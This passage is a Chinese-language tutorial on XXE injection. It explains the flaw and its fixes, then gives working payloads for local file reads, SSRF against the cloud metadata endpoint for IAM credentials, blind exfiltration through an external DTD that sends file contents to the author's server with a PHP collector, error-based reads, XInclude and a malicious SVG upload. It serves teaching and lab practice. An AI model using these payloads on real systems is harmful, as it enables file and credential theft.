当前位置: 首页 > news >正文

Web攻防-XMLXXE无回显带外SSRF元数据DTD实体OOB盲注文件拓展

知识点:
1、WEB攻防-XML&XXE-注入原理&分类&修复
2、WEB攻防-XML&XXE-文件读取&SSRF&实体引用
3、WEB攻防-XML&XXE-无回显&升级拓展&挖掘思路

在这里插入图片描述
在这里插入图片描述

一、演示案例-WEB攻防-XML&XXE-注入原理&分类&安全影响

详细点

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。

XMLHTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而XML旨在传输存储信息。

XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞:XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(最主要的影响)、命令执行、内网扫描、攻击内网等危害。

XXE黑盒发现

两类:
数据包的测试
功能点的测试

1、获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试
在这里插入图片描述
在这里插入图片描述

2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
在这里插入图片描述
在这里插入图片描述
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行(百度docx xxe即可)
参考地址:https://blog.csdn.net/weixin_57567655/article/details/124588490
在这里插入图片描述

XXE白盒发现

1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等

XXE修复防御方案

方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

二、演示案例-WEB攻防-XML&XXE-有回显利用-文件读取&SSRF&外部实体

1、文件读取

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

在这里插入图片描述
在这里插入图片描述

2、SSRF&配合元数据

条件:存在XXE注入的云服务器应用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>
&xxe;
</productId><storeId>1</storeId></stockCheck>

在这里插入图片描述
在这里插入图片描述

3、文件读取-外部引用实体dtd

file.dtd
<!ENTITY send SYSTEM "file:///c:/c.txt">

在这里插入图片描述
在这里插入图片描述

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://xiaodi8.com/file.dtd">
%file;
]>
<user><username>&send;</username><password>xiaodi</password></user>

在这里插入图片描述

三、演示案例-WEB攻防-XML&XXE-无回显利用&文件拓展解析等

无回显利用

在这里插入图片描述

1、DNSLOG-带外测试

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://xiaodi8.dnslog.cn">
%file;
]>
<user><username>xiaodi</username><password>xiaodi</password></user>

在这里插入图片描述
在这里插入图片描述

2、文件读取-外部引用实体dtd配合带外

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/c.txt">
<!ENTITY % remote SYSTEM "http://www.xiaodi8.com/test.dtd">
%remote;
%all;
]>
<user><username>&send;</username><password>xiaodi</password></user>test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.xiaodi8.com/get.php?file=%file;'>">get.php:
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>执行逻辑顺序:test.dtd->all->send->get.php?file=%file->file:///c:/c.txt
http://www.xiaodi8.com/get.php?file=读取的内网数据

在这里插入图片描述
在这里插入图片描述

3、文件读取-外部引用实体dtd配合错误解析

test.dtd内容:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;//这是一个报错的payload,利用目标服务器报错解析来读取文件内容。

BURP靶场

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ab2006f03dce8a4803dfde101f3007d.exploit-server.net/exploit"> %xxe;]>

在这里插入图片描述
在这里插入图片描述

文件拓展解析

1、xinclude利用

XInclude 是一种让你能把多个独立的 XML 文件像拼积木一样“动态组合”成一个大 XML 文档的标准方法。它通过在主文件里放置特殊的“包含指令”(<xi:include>),告诉 XML 处理器在需要的时候去自动加载并插入指定文件的内容。这样做的主要好处是让大型 XML 文档更容易编写、维护和复用。
在这里插入图片描述
一些应用程序接收客户端提交的数据,在服务器端将其嵌入到XML文档中,然后解析该文档,所以利用xinclude嵌套进去执行。

BURP靶场

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

在这里插入图片描述
在这里插入图片描述

2、文件上传-SVG图像解析(docx等)

一些应用程序接收解析文件,可以使用基于XML的格式的例子有DOCX这样的办公文档格式和SVG这样的图像格式进行测试。

SVG图片

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
SRC文章:https://mp.weixin.qq.com/s/5iPoqsWpYfQmr0ExcJYRwg

DOCX文档
参考文章:https://blog.csdn.net/weixin_57567655/article/details/124588490
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

3、功能点挖掘总结

基于XML的Web服务: SOAP、REST和RPC API这些接收和处理XML格式
导入/导出功能: 任何以 XML 格式传输数据的进出口
RSS/Atom 订阅处理器: 订阅功能也可能隐藏着 XXE 漏洞。
文档查看器/转换器: 处理DOCX、XLSX等XML 格式文档的功能
文件上传处理 XML: 比如SVG图像处理器,上传图片也可能中招!
http://www.xdnf.cn/news/1084105.html

相关文章:

  • 【Elasticsearch】自定义评分检索
  • android 获取手机配对的蓝牙耳机的电量
  • python中生成假数据的库 faker 的详细使用,包括详细案例(生成逼真假数据)
  • Go语言实现双Token登录的思路与实现
  • 人工智能之数学基础:线性回归算法的矩阵参数求导
  • QueryWrapper 类的作用与示例详解
  • QT并发机制
  • 数学建模的一般步骤
  • 暑假复习篇之五子棋③【人机对战篇1】
  • Oracle使用SQL一次性向表中插入多行数据
  • 数据可视化中常用的图表类型 及其适用场景,涵盖基础到高级,帮助你根据数据类型和展示目标选择合适的图表:
  • 【论文笔记】【强化微调】Pixel Reasoner:早期 tool call 的调用
  • react当中的this指向
  • 【从0-1的CSS】第3篇:盒子模型与弹性布局
  • 《前端路由重构:解锁多语言交互的底层逻辑》
  • 3. lvgl 9.3 vscode 模拟环境搭建 lv_port_pc_vscode-release-v9.3
  • Paimon索引概述
  • vue3.4中的v-model的用法~
  • 支持向量机(SVM)在肝脏CT/MRI图像分类(肝癌检测)中的应用及实现
  • 从源码到思想:OneCode框架模块化设计如何解决前端大型应用痛点
  • Application的onLowMemory从Android API 34开始系统不再触发,从API 35开始废弃
  • 【BTC】协议(共识机制)
  • 自定义指令
  • java+vue+SpringBoo职业生涯规划系统(程序+数据库+报告+部署教程+答辩指导)
  • 【AI大模型】Spring AI 基于mysql实现对话持久存储详解
  • 多模态大语言模型arxiv论文略读(149)
  • 【网络协议安全】任务13:ACL访问控制列表
  • 深度学习图像分类数据集—蘑菇可食性识别分类
  • 使用Python将PDF转换成word、PPT
  • 量子计算机技术(第二节,到底什么是量子)